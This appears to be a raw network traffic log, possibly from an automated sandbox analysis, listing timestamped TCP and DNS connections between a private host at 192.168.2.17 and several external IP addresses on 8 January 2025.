Jan 8, 2025 17:18:31.214874983 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.214909077 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.214915037 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214947939 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214952946 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.214987040 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.215054035 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.215064049 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.217571020 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.217587948 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.217652082 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.217885017 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.217897892 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.391028881 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.391083956 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.391160011 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.391374111 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.391388893 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.391927004 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.392163992 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:31.392183065 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.392488003 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.392834902 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:31.392889977 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.392961025 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:31.435333014 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.523403883 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.523479939 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.523561954 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:31.523752928 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:31.523767948 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:31.776648045 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.776915073 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.776937008 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.777266979 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.777580023 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.777642965 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.777735949 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.819331884 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.153518915 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.153599977 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.153652906 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.154093027 CET	49734	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.154109001 CET	443	49734	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.185013056 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.185261965 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.185292959 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.185627937 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.185964108 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.186038017 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.186095953 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.231329918 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.485541105 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.485635042 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.485692024 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.486263990 CET	49735	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.486287117 CET	443	49735	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.489710093 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.489756107 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.489809990 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.490020037 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.490040064 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.491461992 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.491501093 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.491561890 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.491728067 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.491743088 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.991482973 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.991741896 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.991775990 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.992063999 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.992355108 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:32.992414951 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:32.992492914 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.002799988 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.002996922 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.003026009 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.003361940 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.003623962 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.003690004 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.003773928 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.039344072 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.051340103 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.243812084 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.243885040 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.244565010 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.244894028 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.244966984 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.245012045 CET	49738	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.245031118 CET	443	49738	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.245032072 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.245049000 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.245101929 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.245641947 CET	49739	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.245656967 CET	443	49739	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.748223066 CET	49675	443	192.168.2.17	204.79.197.203
Jan 8, 2025 17:18:33.893131018 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.893184900 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:33.893280983 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.893521070 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:33.893532038 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.058490038 CET	49675	443	192.168.2.17	204.79.197.203
Jan 8, 2025 17:18:34.501171112 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.501482010 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.501512051 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.501852036 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.502151966 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.502224922 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.502295017 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.502348900 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.502372026 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.502450943 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.502484083 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.660594940 CET	49675	443	192.168.2.17	204.79.197.203
Jan 8, 2025 17:18:34.782721043 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782766104 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782794952 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782818079 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.782820940 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782834053 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782862902 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.782881021 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782913923 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782923937 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.782934904 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.782975912 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.783041000 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.783086061 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.783132076 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.783139944 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.835500956 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.835509062 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.873466015 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.873497963 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.873522043 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.873526096 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.873548031 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.873563051 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.874053955 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.874099016 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.874109983 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.874142885 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.874169111 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.874177933 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.874185085 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.874212027 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.874217033 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.874243975 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.874280930 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.874423981 CET	49741	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.874438047 CET	443	49741	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.876811981 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.876849890 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:34.876938105 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.877161980 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:34.877175093 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.403119087 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.403395891 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:35.403412104 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.403698921 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.403989077 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:35.404040098 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.404114962 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:35.447330952 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.562216997 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.562273979 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.562335014 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:35.562745094 CET	49742	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:35.562761068 CET	443	49742	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:35.872497082 CET	49675	443	192.168.2.17	204.79.197.203
Jan 8, 2025 17:18:37.908896923 CET	49680	443	192.168.2.17	20.189.173.13
Jan 8, 2025 17:18:38.212153912 CET	49680	443	192.168.2.17	20.189.173.13
Jan 8, 2025 17:18:38.275578022 CET	49675	443	192.168.2.17	204.79.197.203
Jan 8, 2025 17:18:38.814546108 CET	49680	443	192.168.2.17	20.189.173.13
Jan 8, 2025 17:18:38.940941095 CET	443	49724	142.250.184.196	192.168.2.17
Jan 8, 2025 17:18:38.941001892 CET	443	49724	142.250.184.196	192.168.2.17
Jan 8, 2025 17:18:38.941056967 CET	49724	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:18:39.789968014 CET	49724	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:18:39.790011883 CET	443	49724	142.250.184.196	192.168.2.17
Jan 8, 2025 17:18:40.028541088 CET	49680	443	192.168.2.17	20.189.173.13
Jan 8, 2025 17:18:42.446523905 CET	49680	443	192.168.2.17	20.189.173.13
Jan 8, 2025 17:18:43.080658913 CET	49675	443	192.168.2.17	204.79.197.203
Jan 8, 2025 17:18:46.359761953 CET	49682	80	192.168.2.17	192.229.211.108
Jan 8, 2025 17:18:46.663727999 CET	49682	80	192.168.2.17	192.229.211.108
Jan 8, 2025 17:18:47.252757072 CET	49680	443	192.168.2.17	20.189.173.13
Jan 8, 2025 17:18:47.268584967 CET	49682	80	192.168.2.17	192.229.211.108
Jan 8, 2025 17:18:47.604521990 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.609780073 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.699348927 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.699434996 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.700336933 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.700356007 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.700525045 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.700705051 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.700762033 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.705281019 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.705312967 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.705347061 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.705507040 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.705521107 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.705535889 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.793338060 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.793504953 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:47.921240091 CET	443	49691	204.79.197.200	192.168.2.17
Jan 8, 2025 17:18:47.921364069 CET	49691	443	192.168.2.17	204.79.197.200
Jan 8, 2025 17:18:48.473587036 CET	49682	80	192.168.2.17	192.229.211.108
Jan 8, 2025 17:18:50.882668972 CET	49682	80	192.168.2.17	192.229.211.108
Jan 8, 2025 17:18:52.688596964 CET	49675	443	192.168.2.17	204.79.197.203
Jan 8, 2025 17:18:55.688684940 CET	49682	80	192.168.2.17	192.229.211.108
Jan 8, 2025 17:18:56.856626987 CET	49680	443	192.168.2.17	20.189.173.13
Jan 8, 2025 17:19:05.296699047 CET	49682	80	192.168.2.17	192.229.211.108
Jan 8, 2025 17:19:09.220563889 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.220598936 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.220798969 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.221019030 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.221025944 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.699887991 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.701064110 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.701090097 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.701430082 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.703157902 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.703221083 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.703357935 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.703416109 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.703442097 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.703515053 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.703542948 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.866924047 CET	49698	80	192.168.2.17	199.232.210.172
Jan 8, 2025 17:19:09.872073889 CET	80	49698	199.232.210.172	192.168.2.17
Jan 8, 2025 17:19:09.872132063 CET	49698	80	192.168.2.17	199.232.210.172
Jan 8, 2025 17:19:09.996083021 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.996164083 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.996203899 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.996216059 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.996228933 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.996269941 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.996274948 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.996341944 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:09.996388912 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.996615887 CET	49748	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:09.996630907 CET	443	49748	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.000161886 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.000205994 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.000272989 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.000469923 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.000484943 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.137552023 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.137609005 CET	443	49750	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.137705088 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.138034105 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.138046026 CET	443	49750	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.486331940 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.486620903 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.486651897 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.486994982 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.487292051 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.487365961 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.487418890 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.535343885 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.609755993 CET	443	49750	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.609966040 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.609992027 CET	443	49750	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.610980988 CET	443	49750	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.611043930 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.611320019 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.611339092 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.611382008 CET	443	49750	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.611390114 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.611433029 CET	49750	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.611715078 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.611756086 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.611816883 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.612036943 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:10.612052917 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:10.638820887 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.638874054 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:10.638927937 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.639488935 CET	49749	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:19:10.639501095 CET	443	49749	104.18.95.41	192.168.2.17
Jan 8, 2025 17:19:11.092540979 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.092803955 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:11.092823029 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.093684912 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.093758106 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:11.094803095 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:11.094858885 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.094949007 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:11.094957113 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.142678976 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:11.663702965 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.663814068 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.663880110 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:11.664974928 CET	49751	443	192.168.2.17	104.21.32.1
Jan 8, 2025 17:19:11.664999008 CET	443	49751	104.21.32.1	192.168.2.17
Jan 8, 2025 17:19:11.748085022 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:11.748127937 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:11.748203039 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:11.748410940 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:11.748421907 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.234994888 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.235249996 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:12.235277891 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.236179113 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.236248970 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:12.236538887 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:12.236596107 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.236723900 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:12.236732006 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.287729025 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:12.821737051 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.821861029 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:12.821928978 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:12.822807074 CET	49754	443	192.168.2.17	104.21.48.1
Jan 8, 2025 17:19:12.822844028 CET	443	49754	104.21.48.1	192.168.2.17
Jan 8, 2025 17:19:28.435995102 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:28.436024904 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:28.436093092 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:28.436388969 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:28.436398983 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:29.069252968 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:29.069593906 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:29.069621086 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:29.069963932 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:29.070277929 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:29.070353985 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:29.122827053 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:38.991574049 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:38.991651058 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:38.991835117 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:39.795327902 CET	49794	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:19:39.795353889 CET	443	49794	142.250.184.196	192.168.2.17
Jan 8, 2025 17:19:53.395195961 CET	49797	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:53.400048971 CET	53	49797	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:53.400127888 CET	49797	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:53.400178909 CET	49797	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:53.400209904 CET	49797	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:53.401947021 CET	49797	53	192.168.2.17	1.1.1.1
Jan 8, 2025 17:19:53.404947042 CET	53	49797	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:53.404999018 CET	53	49797	1.1.1.1	192.168.2.17
Jan 8, 2025 17:19:53.454454899 CET	53	49797	1.1.1.1	192.168.2.17
